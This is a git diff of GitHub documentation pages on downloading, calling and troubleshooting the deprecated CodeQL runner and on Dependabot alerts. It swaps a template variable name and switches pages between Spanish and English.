* The {% data variables.code-scanning.codeql_runner %} shouldn't be confused with the {% data variables.product.prodname_codeql %} CLI. The {% data variables.product.prodname_codeql %} CLI is a command-line interface that lets you create {% data variables.product.prodname_codeql %} databases for security research and run {% data variables.product.prodname_codeql %} queries.
|
||||
For more information, see "[{% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/)."
|
||||
{% endif %}
|
||||
{% endnote %}
|
||||
|
||||
## Downloading the {% data variables.product.prodname_codeql_runner %}
|
||||
## Downloading the {% data variables.code-scanning.codeql_runner %}
|
||||
|
||||
You can download the {% data variables.product.prodname_codeql_runner %} from https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases. On some operating systems, you may need to change permissions for the downloaded file before you can run it.
|
||||
You can download the {% data variables.code-scanning.codeql_runner %} from https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases. On some operating systems, you may need to change permissions for the downloaded file before you can run it.
|
||||
|
||||
On Linux:
|
||||
|
||||
@@ -77,9 +77,9 @@ sudo xattr -d com.apple.quarantine codeql-runner-macos
|
||||
|
||||
On Windows, the `codeql-runner-win.exe` file usually requires no change to permissions.
|
||||
|
||||
## Adding the {% data variables.product.prodname_codeql_runner %} to your CI system
|
||||
## Adding the {% data variables.code-scanning.codeql_runner %} to your CI system
|
||||
|
||||
Once you download the {% data variables.product.prodname_codeql_runner %} and verify that it can be executed, you should make the runner available to each CI server that you intend to use for {% data variables.product.prodname_code_scanning %}. For example, you might configure each server to copy the runner from a central, internal location. Alternatively, you could use the REST API to get the runner directly from {% data variables.product.prodname_dotcom %}, for example:
|
||||
Once you download the {% data variables.code-scanning.codeql_runner %} and verify that it can be executed, you should make the runner available to each CI server that you intend to use for {% data variables.product.prodname_code_scanning %}. For example, you might configure each server to copy the runner from a central, internal location. Alternatively, you could use the REST API to get the runner directly from {% data variables.product.prodname_dotcom %}, for example:
|
||||
|
||||
```shell
|
||||
wget https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases/latest/download/codeql-runner-linux
|
||||
@@ -88,24 +88,24 @@ chmod +x codeql-runner-linux
|
||||
|
||||
In addition to this, each CI server also needs:
|
||||
|
||||
- A {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} for the {% data variables.product.prodname_codeql_runner %} to use. You must use an access token with the `repo` scope, or a {% data variables.product.prodname_github_app %} with the `security_events` write permission, and `metadata` and `contents` read permissions. For information, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" and "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)."
|
||||
- Access to the {% data variables.product.prodname_codeql %} bundle associated with this release of the {% data variables.product.prodname_codeql_runner %}. This package contains queries and libraries needed for {% data variables.product.prodname_codeql %} analysis, plus the {% data variables.product.prodname_codeql %} CLI, which is used internally by the runner. For information, see "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)."
|
||||
- A {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} for the {% data variables.code-scanning.codeql_runner %} to use. You must use an access token with the `repo` scope, or a {% data variables.product.prodname_github_app %} with the `security_events` write permission, and `metadata` and `contents` read permissions. For information, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" and "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)."
|
||||
- Access to the {% data variables.product.prodname_codeql %} bundle associated with this release of the {% data variables.code-scanning.codeql_runner %}. This package contains queries and libraries needed for {% data variables.product.prodname_codeql %} analysis, plus the {% data variables.product.prodname_codeql %} CLI, which is used internally by the runner. For information, see "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)."
|
||||
|
||||
The options for providing access to the {% data variables.product.prodname_codeql %} bundle are:
|
||||
|
||||
1. Allow the CI servers access to https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action so that the {% data variables.product.prodname_codeql_runner %} can download the bundle automatically.
|
||||
1. Manually download/extract the bundle, store it with other central resources, and use the <nobr>`--codeql-path`</nobr> flag to specify the location of the bundle in calls to initialize the {% data variables.product.prodname_codeql_runner %}.
|
||||
1. Allow the CI servers access to https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action so that the {% data variables.code-scanning.codeql_runner %} can download the bundle automatically.
|
||||
1. Manually download/extract the bundle, store it with other central resources, and use the <nobr>`--codeql-path`</nobr> flag to specify the location of the bundle in calls to initialize the {% data variables.code-scanning.codeql_runner %}.
|
||||
|
||||
## Calling the {% data variables.product.prodname_codeql_runner %}
|
||||
## Calling the {% data variables.code-scanning.codeql_runner %}
|
||||
|
||||
You should call the {% data variables.product.prodname_codeql_runner %} from the checkout location of the repository you want to analyze. The two main commands are:
|
||||
You should call the {% data variables.code-scanning.codeql_runner %} from the checkout location of the repository you want to analyze. The two main commands are:
|
||||
|
||||
1. `init` required to initialize the runner and create a {% data variables.product.prodname_codeql %} database for each language to be analyzed. These databases are populated and analyzed by subsequent commands.
|
||||
1. `analyze` required to populate the {% data variables.product.prodname_codeql %} databases, analyze them, and upload results to {% data variables.product.product_name %}.
|
||||
|
||||
For both commands, you must specify the URL of {% data variables.product.product_name %}, the repository *OWNER/NAME*, and the {% data variables.product.prodname_github_apps %} or {% data variables.product.pat_generic %} to use for authentication. You also need to specify the location of the CodeQL bundle, unless the CI server has access to download it directly from the `github/codeql-action` repository.
|
||||
|
||||
You can configure where the {% data variables.product.prodname_codeql_runner %} stores the CodeQL bundle for future analysis on a server using the <nobr>`--tools-dir`</nobr> flag and where it stores temporary files during analysis using <nobr>`--temp-dir`</nobr>.
|
||||
You can configure where the {% data variables.code-scanning.codeql_runner %} stores the CodeQL bundle for future analysis on a server using the <nobr>`--tools-dir`</nobr> flag and where it stores temporary files during analysis using <nobr>`--temp-dir`</nobr>.
|
||||
|
||||
To view the command-line reference for the runner, use the `-h` flag. For example, to list all commands run: `codeql-runner-OS -h`, or to list all the flags available for the `init` command run: `codeql-runner-OS init -h` (where `OS` varies according to the executable that you are using). For more information, see "[Configuring {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system#codeql-runner-command-reference)."
|
||||
|
||||
@@ -119,7 +119,7 @@ In this example, the server has access to download the {% data variables.product
|
||||
|
||||
1. Check out the repository to analyze.
|
||||
1. Move into the directory where the repository is checked out.
|
||||
1. Initialize the {% data variables.product.prodname_codeql_runner %} and create {% data variables.product.prodname_codeql %} databases for the languages detected.
|
||||
1. Initialize the {% data variables.code-scanning.codeql_runner %} and create {% data variables.product.prodname_codeql %} databases for the languages detected.
|
||||
|
||||
```shell
|
||||
$ echo "$TOKEN" | /path/to-runner/codeql-runner-linux init --repository octo-org/example-repo
|
||||
@@ -137,7 +137,7 @@ This example is similar to the previous example, however this time the repositor
|
||||
|
||||
1. Check out the repository to analyze.
|
||||
1. Move into the directory where the repository is checked out.
|
||||
1. Initialize the {% data variables.product.prodname_codeql_runner %} and create {% data variables.product.prodname_codeql %} databases for the languages detected.
|
||||
1. Initialize the {% data variables.code-scanning.codeql_runner %} and create {% data variables.product.prodname_codeql %} databases for the languages detected.
|
||||
```shell
|
||||
$ echo "$TOKEN" | /path/to-runner/codeql-runner-linux init --repository octo-org/example-repo-2
|
||||
--github-url {% data variables.command_line.git_url_example %} --github-auth-stdin
|
||||
@@ -154,26 +154,26 @@ This example is similar to the previous example, however this time the repositor
|
||||
$ . /srv/checkout/example-repo-2/codeql-runner/codeql-env.sh
|
||||
```
|
||||
|
||||
1. Build the code. On macOS, you need to prefix the build command with the environment variable `$CODEQL_RUNNER`. For more information, see "[Troubleshooting {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system#no-code-found-during-the-build)."
|
||||
1. Build the code. On macOS, you need to prefix the build command with the environment variable `$CODEQL_RUNNER`. For more information, see "[Troubleshooting {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system#no-code-found-during-the-build)."
|
||||
|
||||
{% data reusables.code-scanning.codeql-runner-analyze-example %}
|
||||
|
||||
{% note %}
|
||||
|
||||
**Note:** If you use a containerized build, you need to run the {% data variables.product.prodname_codeql_runner %} in the container where your build task takes place.
|
||||
**Note:** If you use a containerized build, you need to run the {% data variables.code-scanning.codeql_runner %} in the container where your build task takes place.
|
||||
|
||||
{% endnote %}
|
||||
|
||||
## Further reading
|
||||
|
||||
- "[Configuring {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)"
|
||||
- "[Troubleshooting {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system)"
|
||||
- "[Configuring {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)"
|
||||
- "[Troubleshooting {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system)"
|
||||
|
||||
{% else %}
|
||||
|
||||
## About the {% data variables.product.prodname_codeql_runner %}
|
||||
## About the {% data variables.code-scanning.codeql_runner %}
|
||||
|
||||
The {% data variables.product.prodname_codeql_runner %} has been deprecated. [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-cli-binaries/releases) version 2.7.6 has complete feature parity.
|
||||
The {% data variables.code-scanning.codeql_runner %} has been deprecated. [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-cli-binaries/releases) version 2.7.6 has complete feature parity.
|
||||
|
||||
For information on migrating to {% data variables.product.prodname_codeql_cli %}, see "[Migrating from the CodeQL runner to CodeQL CLI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli)."
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
---
|
||||
title: Solucionar problemas del ejecutor de CodeQL en tu sistema de IC
|
||||
title: Troubleshooting CodeQL runner in your CI system
|
||||
shortTitle: Troubleshoot CodeQL runner
|
||||
intro: 'Si estás teniendo problemas con el {% data variables.product.prodname_codeql_runner %}, puedes solucionarlos si utilizas estos tips.'
|
||||
intro: 'If you''re having problems with the {% data variables.code-scanning.codeql_runner %}, you can troubleshoot by using these tips.'
|
||||
product: '{% data reusables.gated-features.code-scanning %}'
|
||||
redirect_from:
|
||||
- /github/finding-security-vulnerabilities-and-errors-in-your-code/troubleshooting-code-scanning-in-your-ci-system
|
||||
@@ -19,53 +19,51 @@ topics:
|
||||
- Troubleshooting
|
||||
- Integration
|
||||
- CI
|
||||
ms.openlocfilehash: bd641d59d56a0d0b6ce518d3d2ef41494413b8df
|
||||
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 09/05/2022
|
||||
ms.locfileid: '145116057'
|
||||
---
|
||||
{% data reusables.code-scanning.deprecation-codeql-runner %} {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.not-available %}
|
||||
|
||||
## El comando `init` tarda demasiado
|
||||
|
||||
Antes de que el {% data variables.product.prodname_codeql_runner %} pueda compilar y analizar código, necesita tener acceso al paquete de {% data variables.product.prodname_codeql %}, el cual contiene la CLI de {% data variables.product.prodname_codeql %} y las bibliotecas de {% data variables.product.prodname_codeql %}.
|
||||
{% data reusables.code-scanning.deprecation-codeql-runner %}
|
||||
{% data reusables.code-scanning.beta %}
|
||||
{% data reusables.code-scanning.not-available %}
|
||||
|
||||
Al usar {% data variables.product.prodname_codeql_runner %} por primera vez en la máquina, el comando `init` descarga el paquete {% data variables.product.prodname_codeql %}. Esta descarga puede demorar algunos minutos.
|
||||
El paquete de {% data variables.product.prodname_codeql %} se guarda en el caché entre las ejecuciones, así que si utilizas el {% data variables.product.prodname_codeql_runner %} nuevamente en la misma máquina, no descargará el paquete de {% data variables.product.prodname_codeql %} nuevamente.
|
||||
## The `init` command takes too long
|
||||
|
||||
Para evitar esta descarga automática, puede descargar manualmente el paquete {% data variables.product.prodname_codeql %} en la máquina y especificar la ruta mediante la marca `--codeql-path` del comando `init`.
|
||||
Before the {% data variables.code-scanning.codeql_runner %} can build and analyze code, it needs access to the {% data variables.product.prodname_codeql %} bundle, which contains the {% data variables.product.prodname_codeql %} CLI and the {% data variables.product.prodname_codeql %} libraries.
|
||||
|
||||
## No se encontró código durante la compilación
|
||||
When you use the {% data variables.code-scanning.codeql_runner %} for the first time on your machine, the `init` command downloads the {% data variables.product.prodname_codeql %} bundle to your machine. This download can take a few minutes.
|
||||
The {% data variables.product.prodname_codeql %} bundle is cached between runs, so if you use the {% data variables.code-scanning.codeql_runner %} again on the same machine, it won't download the {% data variables.product.prodname_codeql %} bundle again.
|
||||
|
||||
Si se produce un error `No source code was seen during the build` en el comando `analyze` para {% data variables.product.prodname_codeql_runner %}, esto indica que {% data variables.product.prodname_codeql %} no ha podido supervisar el código. Hay muchas razones que podrían explicar esta error.
|
||||
To avoid this automatic download, you can manually download the {% data variables.product.prodname_codeql %} bundle to your machine and specify the path using the `--codeql-path` flag of the `init` command.
|
||||
|
||||
1. La detección automática del lenguaje identificó un lenguaje compatible, pero no hay código analizable en dicho lenguaje dentro del repositorio. Un ejemplo típico es cuando nuestro servicio de detección de lenguaje encuentra un archivo asociado a un lenguaje de programación específico, como un archivo `.h` o `.gyp`, pero en el repositorio no existe el código ejecutable correspondiente. Para solucionar el problema, puede definir manualmente los lenguajes que quiere analizar mediante la marca `--languages` del comando `init`. Para más información, vea "[Configuración de {% data variables.product.prodname_codeql_runner %} en el sistema de CI](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)".
|
||||
## No code found during the build
|
||||
|
||||
1. Va a analizar un lenguaje compilado sin usar el comando `autobuild` y ejecuta los pasos de compilación después del paso `init`. Para que funcione la compilación, debes configurar el ambiente para que el {% data variables.product.prodname_codeql_runner %} pueda monitorear el proceso de compilación. El comando `init` genera instrucciones sobre cómo exportar las variables de entorno necesarias, por lo que puedes copiar y ejecutar el script después de ejecutar el comando `init`.
|
||||
- En macOS y Linux:
|
||||
If the `analyze` command for the {% data variables.code-scanning.codeql_runner %} fails with an error `No source code was seen during the build`, this indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code. Several reasons can explain such a failure.
|
||||
|
||||
1. Automatic language detection identified a supported language, but there is no analyzable code of that language in the repository. A typical example is when our language detection service finds a file associated with a particular programming language like a `.h`, or `.gyp` file, but no corresponding executable code is present in the repository. To solve the problem, you can manually define the languages you want to analyze by using the `--languages` flag of the `init` command. For more information, see "[Configuring {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)."
|
||||
|
||||
1. You're analyzing a compiled language without using the `autobuild` command and you run the build steps yourself after the `init` step. For the build to work, you must set up the environment such that the {% data variables.code-scanning.codeql_runner %} can monitor the build process. The `init` command generates instructions for how to export the required environment variables, so you can copy and run the script after you've run the `init` command.
|
||||
- On macOS and Linux:
|
||||
```shell
|
||||
$ . codeql-runner/codeql-env.sh
|
||||
```
|
||||
- En Windows, mediante el shell de comandos (`cmd`) o un archivo por lotes (`.bat`):
|
||||
- On Windows, using the Command shell (`cmd`) or a batch file (`.bat`):
|
||||
```shell
|
||||
> call codeql-runner\codeql-env.bat
|
||||
```
|
||||
- En Windows, utilizando PowerShell:
|
||||
- On Windows, using PowerShell:
|
||||
```shell
|
||||
> cat codeql-runner\codeql-env.sh | Invoke-Expression
|
||||
```
|
||||
|
||||
Las variables de entorno también se almacenan en el archivo `codeql-runner/codeql-env.json`. Este archivo contiene solo un objeto de JSON que mapea las claves de variable de ambiente a valores. Si no puede ejecutar el script que ha generado el comando `init`, en su lugar puede usar los datos en formato JSON.
|
||||
The environment variables are also stored in the file `codeql-runner/codeql-env.json`. This file contains a single JSON object which maps environment variable keys to values. If you can't run the script generated by the `init` command, then you can use the data in JSON format instead.
|
||||
|
||||
{% note %}
|
||||
|
||||
**Nota:** Si ha usado la marca `--temp-dir` del comando `init` a fin de especificar un directorio personalizado para los archivos temporales, la ruta a los archivos `codeql-env` podría ser diferente.
|
||||
**Note:** If you used the `--temp-dir` flag of the `init` command to specify a custom directory for temporary files, the path to the `codeql-env` files might be different.
|
||||
|
||||
{% endnote %}
|
||||
|
||||
1. Va a analizar un lenguaje compilado en macOS sin usar el comando `autobuild` y ejecuta los pasos de compilación después del paso `init`. Si está habilitada la SIP (Protección Integral del Sistema, por sus siglas en inglés), que es lo predeterminado en las versiones más recientes de OSX, el análisis podría fallar. Para corregirlo, use la variable de entorno `$CODEQL_RUNNER` como prefijo del comando de compilación.
|
||||
Por ejemplo, si el comando de compilación es `cmd arg1 arg2`, debe ejecutar `$CODEQL_RUNNER cmd arg1 arg2`.
|
||||
1. You're analyzing a compiled language on macOS without using the `autobuild` command and you run the build steps yourself after the `init` step. If SIP (System Integrity Protection) is enabled, which is the default on recent versions of OSX, analysis might fail. To fix this, prefix the build command with the `$CODEQL_RUNNER` environment variable.
|
||||
For example, if your build command is `cmd arg1 arg2`, you should run `$CODEQL_RUNNER cmd arg1 arg2`.
|
||||
|
||||
1. El código se compila en un contenedor o en una máquina independiente. Si utilizas una compilación que ya esté en un contenedor o si terciarizas la compilación a otra máquina, asegúrate de ejecutar el {% data variables.product.prodname_codeql_runner %} en el contenedor o en la máquina en donde toma lugar tu tarea de compilación. Para más información, vea "[Ejecución del análisis de código de CodeQL en un contenedor](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)".
|
||||
1. The code is built in a container or on a separate machine. If you use a containerized build or if you outsource the build to another machine, make sure to run the {% data variables.code-scanning.codeql_runner %} in the container or on the machine where your build task takes place. For more information, see "[Running CodeQL code scanning in a container](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)."
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: About Dependabot alerts
|
||||
intro: '{% data variables.product.product_name %} sends {% data variables.product.prodname_dependabot_alerts %} when we detect that your repository uses a vulnerable dependency{% ifversion GH-advisory-db-supports-malware %} or malware{% endif %}.'
|
||||
title: Acerca de las alertas Dependabot
|
||||
intro: '{% data variables.product.product_name %} envía {% data variables.product.prodname_dependabot_alerts %} cuando detectamos que el repositorio usa una dependencia vulnerable{% ifversion GH-advisory-db-supports-malware %} o malware{% endif %}.'
|
||||
redirect_from:
|
||||
- /articles/about-security-alerts-for-vulnerable-dependencies
|
||||
- /github/managing-security-vulnerabilities/about-security-alerts-for-vulnerable-dependencies
|
||||
@@ -20,87 +20,87 @@ topics:
|
||||
- Repositories
|
||||
- Dependencies
|
||||
shortTitle: Dependabot alerts
|
||||
ms.openlocfilehash: 737e5547e3aefd6b5c49780df0c78cdc73292ee4
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148106745'
|
||||
---
|
||||
<!--Marketing-LINK: From /features/security/software-supply-chain page "About alerts for vulnerable dependencies ".-->
|
||||
|
||||
## About {% data variables.product.prodname_dependabot_alerts %}
|
||||
## Acerca de {% data variables.product.prodname_dependabot_alerts %}
|
||||
|
||||
{% ifversion GH-advisory-db-supports-malware %}
|
||||
{% data reusables.advisory-database.beta-malware-advisories %}
|
||||
{% endif %}
|
||||
{% ifversion GH-advisory-db-supports-malware %} {% data reusables.advisory-database.beta-malware-advisories %} {% endif %}
|
||||
|
||||
{% data variables.product.prodname_dependabot_alerts %} tell you that your code depends on a package that is insecure.
|
||||
Las {% data variables.product.prodname_dependabot_alerts %} indican que el código depende de un paquete que no es seguro.
|
||||
|
||||
If your code depends on a package with a security vulnerability, this can cause a range of problems for your project or the people who use it. You should upgrade to a secure version of the package as soon as possible.{% ifversion GH-advisory-db-supports-malware %} If your code uses malware, you need to replace the package with a secure alternative.{% endif %}
|
||||
Si el código depende de un paquete con una vulnerabilidad de seguridad, esto puede causar una serie de problemas al proyecto o a las personas que lo usan. Debes actualizar a una versión segura del paquete lo antes posible.{% ifversion GH-advisory-db-supports-malware %} Si el código usa malware, debes reemplazar el paquete por una alternativa segura.{% endif %}
|
||||
|
||||
{% data reusables.security-advisory.link-browsing-advisory-db %}
|
||||
|
||||
## Detection of insecure dependencies
|
||||
## Detección de dependencias no seguras
|
||||
|
||||
{% data reusables.dependabot.dependabot-alerts-beta %}
|
||||
|
||||
{% data variables.product.prodname_dependabot %} performs a scan to detect insecure dependencies, and sends {% data variables.product.prodname_dependabot_alerts %} when:
|
||||
{% data variables.product.prodname_dependabot %} lleva a cabo un examen para detectar las dependencias no seguras y envía {% data variables.product.prodname_dependabot_alerts %} cuando:
|
||||
|
||||
{% ifversion fpt or ghec %}
|
||||
- A new advisory is added to the {% data variables.product.prodname_advisory_database %}. For more information, see "[Browsing security advisories in the {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database)."{% else %}
|
||||
- New advisory data is synchronized to {% data variables.location.product_location %} each hour from {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.security-advisory.link-browsing-advisory-db %}{% endif %}
|
||||
{% note %}
|
||||
- Se agrega un aviso nuevo a {% data variables.product.prodname_advisory_database %}. Para obtener más información, consulta "[Exploración de avisos de seguridad en {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database)."{% else %}
|
||||
- Se sincronizan nuevos datos de aviso en {% data variables.location.product_location %} cada hora desde {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.security-advisory.link-browsing-advisory-db %}{% endif %} {% note %}
|
||||
|
||||
**Note:** Only advisories that have been reviewed by {% data variables.product.company_short %} will trigger {% data variables.product.prodname_dependabot_alerts %}.
|
||||
**Nota:** Solo los avisos revisados por {% data variables.product.company_short %} desencadenarán {% data variables.product.prodname_dependabot_alerts %}.
|
||||
|
||||
{% endnote %}
|
||||
- The dependency graph for a repository changes. For example, when a contributor pushes a commit to change the packages or versions it depends on{% ifversion fpt or ghec %}, or when the code of one of the dependencies changes{% endif %}. For more information, see "[About the dependency graph](/code-security/supply-chain-security/about-the-dependency-graph)."
|
||||
- Cambia el gráfico de dependencias de un repositorio. Por ejemplo, cuando un colaborador inserta una confirmación para cambiar los paquetes o las versiones de las que depende {% ifversion fpt or ghec %}, o cuando el código de una de las dependencias cambia{% endif %}. Para más información, vea "[Acerca del gráfico de dependencias](/code-security/supply-chain-security/about-the-dependency-graph)".
|
||||
|
||||
{% data reusables.repositories.dependency-review %}
|
||||
|
||||
For a list of the ecosystems that {% data variables.product.product_name %} detects insecure dependencies in, see "[Supported package ecosystems](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)."
|
||||
Para ver una lista de los ecosistemas en los que {% data variables.product.product_name %} detecta dependencias no seguras, consulta "[Ecosistemas de paquetes admitidos](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)".
|
||||
|
||||
{% note %}
|
||||
|
||||
**Note:** It is important to keep your manifest and lock files up to date. If the dependency graph doesn't accurately reflect your current dependencies and versions, then you could miss alerts for insecure dependencies that you use. You may also get alerts for dependencies that you no longer use.
|
||||
**Nota:** Es importante mantener actualizados el manifiesto y los archivos de bloqueo. Si el gráfico de dependencias no refleja con exactitud tus versiones y dependencias actuales, es posible que pases por alto las alertas de las dependencias no seguras que usas. También podrías obtener alertas de las dependencias que ya no utilizas.
|
||||
|
||||
{% endnote %}
|
||||
|
||||
## Configuration of {% data variables.product.prodname_dependabot_alerts %}
|
||||
## Configuración de {% data variables.product.prodname_dependabot_alerts %}
|
||||
|
||||
{% data reusables.repositories.enable-security-alerts %}
|
||||
|
||||
{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %} detects vulnerable dependencies and malware in _public_ repositories and displays the dependency graph, but does not generate {% data variables.product.prodname_dependabot_alerts %} by default. Repository owners or people with admin access can enable {% data variables.product.prodname_dependabot_alerts %} for public repositories. Owners of private repositories, or people with admin access, can enable {% data variables.product.prodname_dependabot_alerts %} by enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} for their repositories.
|
||||
{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %} detecta dependencias vulnerables y malware en repositorios _públicos_ y muestra el gráfico de dependencias, pero no genera {% data variables.product.prodname_dependabot_alerts %} de forma predeterminada. Los propietarios de repositorios o las personas con acceso administrativo pueden habilitar las {% data variables.product.prodname_dependabot_alerts %} para los repositorios públicos. Los propietarios de los repositorios privados o las personas con acceso administrativo puede habilitar las {% data variables.product.prodname_dependabot_alerts %} si habilitan la gráfica de dependencias y las {% data variables.product.prodname_dependabot_alerts %} para sus repositorios.
|
||||
|
||||
You can also enable or disable {% data variables.product.prodname_dependabot_alerts %} for all repositories owned by your user account or organization. For more information, see "[Configuring {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts)."
|
||||
También puedes habilitar o deshabilitar {% data variables.product.prodname_dependabot_alerts %} para todos los repositorios que pertenezcan a tu cuenta de usuario u organización. Para más información, consulta "[Configuración de {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts)".
|
||||
|
||||
For information about access requirements for actions related to {% data variables.product.prodname_dependabot_alerts %}, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#access-requirements-for-security-features)."
|
||||
Para información sobre los requisitos de acceso para las acciones relacionadas con {% data variables.product.prodname_dependabot_alerts %}, consulta "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#access-requirements-for-security-features)".
|
||||
|
||||
{% data variables.product.product_name %} starts generating the dependency graph immediately and generates alerts for any insecure dependencies as soon as they are identified. The graph is usually populated within minutes but this may take longer for repositories with many dependencies. For more information, see "[Managing data use settings for your private repository](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository)."
|
||||
{% data variables.product.product_name %} empieza a generar el gráfico de dependencias de inmediato y genera alertas de dependencias no seguras en cuanto las identifica. La gráfica se llena en cuestión de minutos habitualmente, pero esto puede tardar más para los repositorios que tengan muchas dependencias. Para obtener más información, vea "[Administración de la configuración de uso de datos para el repositorio privado](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository)".
|
||||
{% endif %}
|
||||
|
||||
When {% data variables.product.product_name %} identifies a vulnerable dependency{% ifversion GH-advisory-db-supports-malware %} or malware{% endif %}, we generate a {% data variables.product.prodname_dependabot %} alert and display it {% ifversion fpt or ghec or ghes %} on the Security tab for the repository and{% endif %} in the repository's dependency graph. The alert includes {% ifversion fpt or ghec or ghes %}a link to the affected file in the project, and {% endif %}information about a fixed version. {% data variables.product.product_name %} may also notify the maintainers of affected repositories about the new alert according to their notification preferences. For more information, see "[Configuring notifications for {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts)."
|
||||
Cuando {% data variables.product.product_name %} identifica una dependencia vulnerable{% ifversion GH-advisory-db-supports-malware %} o malware{% endif %}, generamos una alerta de {% data variables.product.prodname_dependabot %}, que se muestra{% ifversion fpt or ghec or ghes %} en la pestaña "Seguridad" del repositorio y{% endif %} en el gráfico de dependencias del repositorio. La alerta incluye {% ifversion fpt or ghec or ghes %}un vínculo al archivo afectado en el proyecto e {% endif %}información sobre una versión fija. {% data variables.product.product_name %} también podría notificar a los mantenedores de los repositorios afectados sobre la nueva alerta de acuerdo con sus preferencias de notificaciones. Para obtener más información, consulta "[Configuración de notificaciones para {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts)".
|
||||
|
||||
{% ifversion fpt or ghec or ghes %}
|
||||
For repositories where {% data variables.product.prodname_dependabot_security_updates %} are enabled, the alert may also contain a link to a pull request to update the manifest or lock file to the minimum version that resolves the vulnerability. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)."
|
||||
{% ifversion fpt or ghec or ghes %} En los repositorios donde {% data variables.product.prodname_dependabot_security_updates %} están habilitadas, la alerta también puede contener un vínculo a una solicitud de incorporación de cambios para actualizar el manifiesto o el archivo de bloqueo a la versión mínima que resuelve la vulnerabilidad. Para obtener más información, consulte "[Acerca de {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)".
|
||||
{% endif %}
|
||||
|
||||
{% warning %}
|
||||
|
||||
**Note**: {% data variables.product.product_name %}'s security features do not claim to catch all vulnerabilities{% ifversion GH-advisory-db-supports-malware %} and malware{% endif %}. We actively maintain {% data variables.product.prodname_advisory_database %} and generate alerts with the most up-to-date information. However, we cannot catch everything or tell you about known vulnerabilities within a guaranteed time frame. These features are not substitutes for human review of each dependency for potential vulnerabilities or any other issues, and we recommend consulting with a security service or conducting a thorough dependency review when necessary.
|
||||
